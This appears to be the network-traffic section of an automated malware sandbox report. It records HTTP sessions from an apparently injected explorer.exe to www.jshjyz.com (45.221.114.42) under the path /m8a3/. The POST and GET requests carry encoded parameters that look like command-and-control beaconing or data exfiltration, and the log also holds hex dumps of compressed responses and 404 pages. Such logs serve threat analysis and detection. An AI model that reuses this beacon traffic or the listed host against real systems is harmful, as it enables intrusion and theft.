                                        Data Raw: 55 72 3d 37 4e 2f 54 73 4b 44 41 62 6d 4e 65 79 75 75 66 7a 58 32 52 74 47 48 36 69 79 39 6f 36 33 42 71 69 30 46 75 4f 73 58 62 39 47 79 48 43 6f 39 2f 43 71 51 63 49 39 5a 75 52 55 48 74 31 46 68 70 6a 50 49 7a 47 50 68 4d 67 67 55 6a 39 63 5a 72 63 63 6d 50 4b 63 71 4a 52 58 2b 65 51 49 31 70 31 72 42 4f 5a 65 42 31 37 51 61 4c 52 65 46 67 76 32 31 36 47 73 74 79 53 77 32 2b 38 63 37 38 75 59 65 49 4a 68 56 31 35 52 79 37 61 5a 53 33 42 42 50 6f 6b 52 47 36 6b 67 77 58 4d 38 53 63 46 6b 37 67 36 73 2b 63 70 67 6c 51 4a 70 58 75 30 52 6e 4d 6b 7a 42 62 63 32 6f 42 74 50 4d 39 39 4e 77 47 4e 46 69 6e 57 4f 33 66 36 34 6a 2f 53 79 6f 42 56 6d 63 56 6d 71 32 32 48 61 73 38 30 4e 55 57 32 39 77 6d 4f 38 52 61 49 69 55 42 71 4e 71 65 42 72 71 43 73 79 36 48 46 45 33 62 36 2b 77 44 5a 61 63 75 50 70 4e 32 74 61 4c 35 52 38 6d 41 65 70 6e 52 78 75 6f 78 6b 69 49 33 4b 46 39 65 4a 6f 58 50 4f 32 37 4a 52 75 4d 4c 2b 2b 72 77 59 43 32 5a 54 48 61 38 77 62 64 6b 37 37 37 46 77 72 62 7a 7a 69 34 51 2b 5a 57 49 33 55 46 5a 6f 34 51 64 6d 2f 6f 74 2f 64 63 5a 51 78 4c 61 59 2b 2b 73 65 45 51 6b 39 47 68 6b 68 63 55 53 4a 34 70 4f 53 75 30 7a 73 65 57 2f 58 45 62 7a 4b 42 6e 46 72 35 65 36 53 37 33 37 42 63 31 70 6b 38 50 63 4d 59 31 4b 4e 50 49 72 55 51 7a 6e 36 64 71 76 59 6a 44 35 47 56 33 30 45 4a 45 58 62 6f 42 47 78 4c 35 31 2f 68 37 50 4c 62 47 6a 59 44 54 4e 4c 56 4b 6f 39 55 4f 49 57 49 33 79 42 4e 62 6c 49 35 45 6b 59 76 6f 69 68 52 6f 72 58 37 79 45 31 41 6c 7a 38 54 43 66 6f 4e 52 46 2b 46 65 31 79 77 41 65 39 53 2f 50 59 6c 50 30 45 35 76 31 73 70 38 53 48 49 34 69 6c 34 71 30 48 44 67 7a 58 61 45 34 6f 4e 41 59 48 71 71 6c 4f 75 74 38 67 51 4c 7a 74 4e 54 42 71 4e 54 4e 41 32 2b 75 46 66 61 58 74 63 4d 74 4a 31 38 4b 31 4b 31 36 6f 6a 35 46 59 79 32 42 44 6d 41 53 32 65 30 55 62 38 6f 59 39 78 39 48 38 68 59 76 77 2f 6e 31 72 71 52 46 64 55 58 4a 4b 39 47 43 30 67 39 4e 45 6b 68 43 5a 68 7a 44 32 42 64 6e 54 65 71 79 62 62 36 64 4c 2b 41 58 46 69 4f 4b 6b 53 45 74 57 50 65 38 69 64 68 38 4a 68 37 2f 6e 35 4f 6c 43 74 41 75 55 52 66 65 6c 5a 4a 54 35 48 4e 75 2f 2f 73 6c 4f 72 77 69 61 54 58 5a 38 78 68 35 35 35 4e 57 62 45 62 54 6b 61 67 32 45 35 62 34 6c 64 41 67 77 35 6e 71 71 71 79 59 64 50 6c 31 44 76 70 4b 71 70 72 39 69 72 58 30 48 50 55 4e 62 6d 38 2b 33 34 34 7a 33 34 69 41 48 50 54 67 6f 66 69 70 6d 49 30 77 45 79 6b 33 70 71 4d 42 6e 6b 57 51 39 37 39 32 69 53 6c 78 7a 58 54 65 42 6b 31 5a 78 6a 63 6a 49 48 50 78 59 34 59 77 65 73 4f 72 6e 73 64 73 63 49 42 71 34 73 62 72 56 68 52 73 58 56 41 78 71 4c 41 52 59 30 43 6b 4e 72 34 43 6d 69 46 49 74 48 67 41 69 4d 35 32 67 36 6e 69 2b 6b 65 61 2f 52 6d 68 62 38 45 70 59 54 48 4e 75 46 69 4a 37 39 57 39 77 77 4d 50 32 2b 50 53 66 6f 6a 48 5a 43 72 70 61 46 4c 4f 39 45 43 51 4e 69 51 54 6a 54 45 79 72 51 42 68 31 70 69 70 61 36 76 76 50 4a 6b 54 2b 4d 6e 2b 5a 36 61 78 32 71 63 37 69 4f 71 5a 55 47 62 77 77 58 72 62 4a 6e 4a 62 32 72 54 5a 48 67 73 37 76 77 61 4e 56 44 31 34 71 65 43 42 4d 2b 4b 61 74 32 59 6f 73 47 6a 67 6d 50 68 6d 37 7a 57 64 4c 69 2b 6f 64 66 76 47 58 53 43 63 52 35 65 55 50 50 2b 4d 4c 43 51 2b 69 69 53 45 61 50 53 30 48 57 36 75 34 6f 55 74 2f 49 4a 2f 77 34 33 48 73 56 4d 73 6e 47 72 31 2b 39 35 56 77 39 45 56 68 4b 47 63 66 74 4d 57 4f 76 35 7a 53 74 76 73 4f 59 6f 59 2f 73 71 61 70 77 68 6a 47 31 38 54 34 72 33 74 39 59 48 62 39 38 56 6f 4f 44 6c 46 4d 52 33 33 38 38 68 57 64 6a 74 43 45 66 6c 79 68 49 2f 42 2f 55 75 64 38 32 7a 42 77 62 4e 59 59 7a 61 56 56 61 42 4d 6a 30 36 4c 58 2b 53 39 30 6e 57 31 44 6b 43 71 5a 6c 63 6f 72 61 30 61 4a 57 38 75 68 66 34 66 48 53 44 4b 55 59 52 64 76 78 33 61 45 6f 51 69 71 78 75 41 39 67 73 41 52 41 76 4b 68 63 6d 77 63 79 67 34 62 4d 6a 65 4a 52 53 74 2f 48 36 69 34 70 55 67 50 72 41 42 47 50 5a 57 78 73 6c 30 44 73 36 38 53 53 48 43 2b 34 47 38 51 31 53 30 77 59 57 43 46 66 32 31 41 73 65 52 68 36 63 6f 6c 53 58 52 65 39 4f 66 53 5a 34 39 50 45 36 46 68 6d 6a 79 30 39 34 65 45 43 63 2f 74 38 79 67 33 55 2b 46 66 56 55 64 37 41 4b 68 35 76 2b 52 38 62 41 45 47 69 79 59 39 62 72 35 73 4c 4e 45
                                        Data Ascii: Ur=7N/TsKDAbmNeyuufzX2RtGH6iy9o63Bqi0FuOsXb9GyHCo9/CqQcI9ZuRUHt1FhpjPIzGPhMggUj9cZrccmPKcqJRX+eQI1p1rBOZeB17QaLReFgv216GstySw2+8c78uYeIJhV15Ry7aZS3BBPokRG6kgwXM8ScFk7g6s+cpglQJpXu0RnMkzBbc2oBtPM99NwGNFinWO3f64j/SyoBVmcVmq22Has80NUW29wmO8RaIiUBqNqeBrqCsy6HFE3b6+wDZacuPpN2taL5R8mAepnRxuoxkiI3KF9eJoXPO27JRuML++rwYC2ZTHa8wbdk777Fwrbzzi4Q+ZWI3UFZo4Qdm/ot/dcZQxLaY++seEQk9GhkhcUSJ4pOSu0zseW/XEbzKBnFr5e6S737Bc1pk8PcMY1KNPIrUQzn6dqvYjD5GV30EJEXboBGxL51/h7PLbGjYDTNLVKo9UOIWI3yBNblI5EkYvoihRorX7yE1Alz8TCfoNRF+Fe1ywAe9S/PYlP0E5v1sp8SHI4il4q0HDgzXaE4oNAYHqqlOut8gQLztNTBqNTNA2+uFfaXtcMtJ18K1K16oj5FYy2BDmAS2e0Ub8oY9x9H8hYvw/n1rqRFdUXJK9GC0g9NEkhCZhzD2BdnTeqybb6dL+AXFiOKkSEtWPe8idh8Jh7/n5OlCtAuURfelZJT5HNu//slOrwiaTXZ8xh555NWbEbTkag2E5b4ldAgw5nqqqyYdPl1DvpKqpr9irX0HPUNbm8+344z34iAHPTgofipmI0wEyk3pqMBnkWQ9792iSlxzXTeBk1ZxjcjIHPxY4YwesOrnsdscIBq4sbrVhRsXVAxqLARY0CkNr4CmiFItHgAiM52g6ni+kea/Rmhb8EpYTHNuFiJ79W9wwMP2+PSfojHZCrpaFLO9ECQNiQTjTEyrQBh1pipa6vvPJkT+Mn+Z6ax2qc7iOqZUGbwwXrbJnJb2rTZHgs7vwaNVD14qeCBM+Kat2YosGjgmPhm7zWdLi+odfvGXSCcR5eUPP+MLCQ+iiSEaPS0HW6u4oUt/IJ/w43HsVMsnGr1+95Vw9EVhKGcftMWOv5zStvsOYoY/sqapwhjG18T4r3t9YHb98VoODlFMR3388hWdjtCEflyhI/B/Uud82zBwbNYYzaVVaBMj06LX+S90nW1DkCqZlcora0aJW8uhf4fHSDKUYRdvx3aEoQiqxuA9gsARAvKhcmwcyg4bMjeJRSt/H6i4pUgPrABGPZWxsl0Ds68SSHC+4G8Q1S0wYWCFf21AseRh6colSXRe9OfSZ49PE6Fhmjy094eECc/t8yg3U+FfVUd7AKh5v+R8bAEGiyY9br5sLNE49GF36TvFk5sCcckZ3Mf6Q/qK2P9DHuJAF1wIqdnPwK4Lh+rVDwYBecy79WHrKP/ievNQ44Ge3HIUQXqUFk0UnhvwRrhRq3olSkPjURTFCO58dpxww==
                                        Jul 24, 2023 10:30:54.143795013 CEST886INHTTP/1.1 200 OK
                                        Server: nginx
                                        Date: Mon, 24 Jul 2023 08:31:05 GMT
                                        Content-Type: text/html; charset=UTF-8
                                        Transfer-Encoding: chunked
                                        Connection: close
                                        Vary: Accept-Encoding
                                        Content-Encoding: gzip
                                        Data Raw: 31 30 63 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 bd 5b 5d 53 5a 5b 9a be 9e fe 15 8c 17 53 35 5d a3 20 26 26 99 31 a9 4a d2 49 77 57 f7 99 9c 9e 73 32 27 33 37 5d 88 44 c9 41 e0 00 e6 c4 53 73 01 2a 0a 88 80 8a f8 05 2a 2a a2 31 02 46 14 04 81 aa fe 2b cd 5a 7b ef ab fc 85 79 d6 de 1b 02 82 7c 1c 9d b1 4a dc 9b bd f6 bb de f5 be cf fb b9 96 43 ff f8 bb 57 cf bf ff af 6f 5f 28 c6 6c e3 86 27 bf 19 aa fc d1 69 46 9e fc 46 81 9f a1 71 9d 4d 83 a7 36 73 af ee a7 09 fd fb c7 3d 6f 7a 5f 3f ed 7d 6e 1a 37 6b 6c fa 61 83 ae 47 a1 35 19 6d 3a a3 ed 71 cf 1f 5f 3c 7e 31 32 aa eb 91 df 1c d6 58 75 0a 9b c6 32 aa c3 b3 bf da 4c e6 ca 03 91 a4 76 4c 63 b1 b2 27 13 b6 b7 bd 0f eb 1e 19 35 e3 ba c7 3d 16 9d 71 44 67 d1 59 6a 26 f8 59 37 fc a3 de d6 64 ec 7b bd ee 67 b3 c9 62 ab 1d ab 1f b1 8d 3d 1e d1 bd d7 6b 75 bd 3f b3 9b 7f d1 1b f5 36 bd c6 d0 6b d5 6a 0c ba c7 fd 15 3a 36 bd cd a0 7b 22 4c a7 49 66 8b 46 a7 84 b5 33 52 9a e5 43 33 34 bc 40 3c 51 1a 76 0b eb 01 e2 fc 44 fc d9 21 a5 34 b6 46 32 12 af 23 3a ab d6 a2 37 db f4 26 63 0d 0b 9d 90 ac 30 61 d0 1b 7f 54 58 74 86 c7 3d 56 db a4 41 67 1d d3 e9 b0 1a db a4 19 92 b0 e9 3e d8 94 5a ab b5 47 31 66 d1 bd 7d dc c3 b4 f1 af 4a a5 75 6c 6c 42 f3 8b be 4f 6b 54 fe 32 fc d7 09 ab ce 62 55 da c6 74 e3 3a e5 e4 c8 3b bd 71 74 5c af 14 69 49 9f 7d 8c 00 34 ac 1c 13 75 3b 34 6c 1a 99 94 15 35 a2 7f af d0 8f 80 2e 9e 40 de d2 b7 a2 f2 d9 13 ad 41 63 b5 36 79 78 7d 80 c1 34 6a 12 b1 a0 d1 1b 19 15 c5 90 a6 43 a1 6a 30 56 89 a9 6a 26 be 76 5b e1 d0 a8 79 0f f9 4a 0c d5 4c 25 ea a3 f2 23 32 cd 96 33 6e c2 f0 61 11 40 d2 1b ec ed af 73 54 c7 4f 18 6a 06 0c 6b 6a 05 50 47 d7 a0 17 c9 1a df 6b 30 a8 57 6f d3 8d f7 ea 01 d1 0f 55 fa 1a ad 4d ff 1e f0 17 57 7e 10 12 a2 e7 43 4a cd 93 21 a5 41 df 38 ab 28 bd 0a 45 b0 09 8a 66 cd a8 ae 77 40 7a 9d 38 cf ca 39 1f 75 2d 96 f3 9f ba 22 a2 d5 d8 74 a3 26 cb e4 57 42 0c b8 e5 5c 9c 2c 3b ba 22 24 72 73 5f e6 26 98 20 01 1f 75 97 f8 64 ae 7b 22 83 32 91 c4 2e 75 65 68 d4 55 2e ce 77 4f e4 81 44 84 77 04 b9 b3 7c 3b b9 0c 29 27 e0 cc ea 94 27 02 4a 31 a4 1f 1f 55 58 2d da aa 0d e1 be 4f 63 d0 6b 47 8c 7d 5a d3 b8 12 b7 b0 35 8b 46 a9 1f 50 aa d5 8f 54 0f ee 0d 0c 0e 2a bf 7f a6 1e fd e5 9d 76 f2 0f cf c6 cd 13 2f df 7d f7 df 2f 9f be 79 a3 f9 8b ca fc 46 d3 5b 1d d5 f7 ce 3c da a3 d0 18 e0 d1 14 fd 7d 64 3f 2d 4c 1f 0a bb 33 dc ca 7a ad 41 7d c5 b5 84 78 f0 28 39 93 2a 68 61 3d 37 58 e0 38 1e 7d 35 30 f5 35 28 d7 d9 aa c9 c6 fc 52 33 b0 d7 5a b4 c9 36 6c b2 88 16 7f cd fc ea 4c a9 62 ff 26 1b f3 43 1d 8f 65 43 99 21 70 d3 27 64 21 c4 7d 2e 0a 76 77 af e4 58 c9 5c ae 8a c6 3a b3 17 8d a2 de f4 c5 af ea 98 1e d7 99 2d a6 91 09 6d 25 0e d4 a9 f9 ba de ab 2b b9 c9 06 af d3 97 69 03 08 4d a4 57 37 55 0d 53 c3 fa 51 f1 05 b6 de a6 18 53 a9 fa fb c6 b4 03 83 2a e6 ac 7f 1c 50 7e a3 7a aa ec bf af 1c 78 a1 fc e1 f7 c3 83 83 fd 23 0f 81 a3 7e 9d f6 81 fa 5e bf ee d9 fd 07 0f ee df 7b f4 e8 d1 7d f5 a3 91 97 4f 07 18 b2 fa fa d4 6a d5 07 fc 6a 6a 70 76 8f 6c 16 84 8f 5e 61 69 8b 86 73 d2 45 39 ff 91 69 a8 ea 51 19 47 ec b6 ce 18 ea 96 d1 28 ee 9b 56 29 8b c6 a2 1f 1d 6b 26 fb 9b 5e 13 43 a6 24 9b 1b b9 a8 7b 77 4c fd 84 3b c8 93 d2 b4 b0 e7 c3 c2 fa fb 7b 07 d5 4f c9 95 1f a1 4b 0d f1 5a cd 1a 23 d6 24 fe 69 4b b0 e5 da ab e0 a8
                                        Data Ascii: 10c3[]SZ[S5] &&1JIwWs2'37]DASs***1F+Z{y|JCWo_(l'iFFqM6s=oz_?}n7klaG5m:q_<~12Xu2LvLc'5=qDgYj&Y7d{gb=ku?6kj:6{"LIfF3RC34@<QvD!4F2#:7&c0aTXt=VAg>ZG1f}JullBOkT2bUt:;qt\iI}4u;4l5.@Ac6yx}4jCj0Vj&v[yJL%#23na@sTOjkjPGk0WoUMW~CJ!A8(Efw@z89u-"t&WB\,;"$rs_& ud{"2.uehU.wODw|;)''J1UX-OckG}Z5FPT*v/}/yF[<}d?-L3zA}x(9*ha=7X8}505(R3Z6lLb&CeC!p'd!}.vwX\:-m%+iMW7USQS*P~zx#~^{}Ojjjpvl^aisE9iQG(V)k&^C${wL;{OKZ#$iK
                                        Jul 24, 2023 10:30:54.143825054 CEST887INData Raw: 51 a5 75 62 58 32 1d b2 e7 a0 de 29 6e ca 4d ed be f2 a5 8b f8 43 74 23 54 2e 94 b8 e0 21 0d 5d d2 b3 15 85 50 28 f1 85 04 c9 1c 10 ff 19 5d 9d 97 c7 b9 f6 69 e8 a4 09 88 6b 97 28 82 ae b5 e0 c5 21 35 7c e9 8d 6f 4d 3d 37 c9 a5 c1 88 1a 26 ab a1
                                        Data Ascii: QubX2)nMCt#T.!]P(]ik(!5|oM=7&d #j'E-&_T9g@~}'&',C~zC~:m6Fk%zw#KKVrU#\^#_1i7 l2u800jo'5?
                                        Jul 24, 2023 10:30:54.143850088 CEST889INData Raw: ab fc 9c ec 95 b3 a9 87 a8 9e b6 e6 69 72 13 74 69 d6 49 d3 ab ed e8 36 30 56 be 5a 23 9e 12 29 66 90 1b fd c7 8b 7f ff 13 5f 48 73 cb 07 2d 17 77 9d a7 aa 20 2b b2 5a f3 09 8b c7 e5 5c 02 ad 1a 2e be cd 17 0e fe fc e2 77 c4 ef 15 22 bb 42 f4 82
                                        Data Ascii: irtiI60VZ#)f_Hs-w +Z\.w"Bs$)qCaikC6F\v=Az/tf <a7?e|>XpRZj#~uJ:;O$SY`EZ*o[.lSn9n+rA'D[l!K)Ye
                                        Jul 24, 2023 10:30:54.143882990 CEST889INData Raw: 59 b8 17 37 e4 70 98 80 a5 f3 15 03 6f a9 93 76 0c 6a 8d 5a c9 27 82 1c 72 6c c9 65 00 5b 2d 89 36 48 10 a8 ae 82 19 6b 04 8f 40 4c bb 35 36 63 ad e3 e8 2a fa f8 bb 2a 2c a5 fe 18 eb 8b 27 c4 84 b4 93 6e 70 85 fb a1 4e 3a ab 24 1a 24 01 0f 9f 59
                                        Data Ascii: Y7povjZ'rle[-6Hk@L56c**,'npN:$$YDw'enjIpfIB7(66Q@IF-N%^/qsl<mc{qp#^f]#3NAlvK"j`/jAo@$l^$


                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                        20192.168.2.54973845.221.114.4280C:\Windows\explorer.exe
                                        TimestampkBytes transferredDirectionData
                                        Jul 24, 2023 10:32:54.983365059 CEST981OUTPOST /m8a3/ HTTP/1.1
                                        Host: www.jshjyz.com
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                        Accept-Encoding: gzip, deflate
                                        Accept-Language: en-US
                                        Content-Type: application/x-www-form-urlencoded
                                        Content-Length: 188
                                        Cache-Control: no-cache
                                        Connection: close
                                        Origin: http://www.jshjyz.com
                                        Referer: http://www.jshjyz.com/m8a3/
                                        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                        Data Raw: 79 79 39 55 77 76 72 3d 4b 66 6f 67 6f 31 47 56 5a 57 44 63 64 69 34 6b 49 76 76 6e 78 34 6f 66 66 75 39 74 79 37 58 79 6b 37 68 52 62 4f 48 6d 43 4a 31 68 4e 53 4a 61 7a 4f 46 41 37 70 78 43 39 6b 31 2f 56 6b 4a 78 6c 56 79 59 4b 44 67 69 4e 7a 31 77 2f 54 34 42 53 7a 48 37 78 6f 44 57 37 63 69 7a 36 31 68 4f 42 68 49 69 69 35 5a 78 43 73 59 50 6c 74 63 67 65 42 42 79 47 72 70 41 68 38 50 30 75 31 6d 54 67 32 76 68 6c 66 6a 7a 6e 46 5a 4e 4e 63 78 47 64 37 72 51 70 6d 46 44 73 45 73 4e 67 6e 69 59 58 46 6d 6d 6b 48 4d 75 33 2f 48 4b 78 67 37 73 6c 77 3d 3d
                                        Data Ascii: yy9Uwvr=Kfogo1GVZWDcdi4kIvvnx4offu9ty7Xyk7hRbOHmCJ1hNSJazOFA7pxC9k1/VkJxlVyYKDgiNz1w/T4BSzH7xoDW7ciz61hOBhIii5ZxCsYPltcgeBByGrpAh8P0u1mTg2vhlfjznFZNNcxGd7rQpmFDsEsNgniYXFmmkHMu3/HKxg7slw==
                                        Jul 24, 2023 10:32:55.396385908 CEST982INHTTP/1.1 404 Not Found
                                        Content-Type: text/html
                                        Server: Microsoft-IIS/7.5
                                        X-Powered-By: ASP.NET
                                        Date: Mon, 24 Jul 2023 08:32:55 GMT
                                        Connection: close
                                        Content-Length: 1163
                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3
                                        Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3>
                                        Jul 24, 2023 10:32:55.396435976 CEST982INData Raw: c3 a1 a3 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                        Data Ascii: </h3> </fieldset></div></div></body></html>


                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                        21192.168.2.54973945.221.114.4280C:\Windows\explorer.exe
                                        TimestampkBytes transferredDirectionData
                                        Jul 24, 2023 10:32:58.622175932 CEST983OUTGET /m8a3/?wllV=ZE0BJ&yy9Uwvr=HdAArDrpc0/lWistcv7U8os5S8lq1/Pmn5Nebv2sEOwmLRgBysRR2ORy9UpLQlQ68z6oajIjCi8xrT5GQWSFhprfwO2VyQxjGA== HTTP/1.1
                                        Host: www.jshjyz.com
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                        Accept-Language: en-US
                                        Connection: close
                                        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                        Jul 24, 2023 10:32:59.015491962 CEST984INHTTP/1.1 404 Not Found
                                        Content-Type: text/html
                                        Server: Microsoft-IIS/7.5
                                        X-Powered-By: ASP.NET
                                        Date: Mon, 24 Jul 2023 08:32:59 GMT
                                        Connection: close
                                        Content-Length: 1163
                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 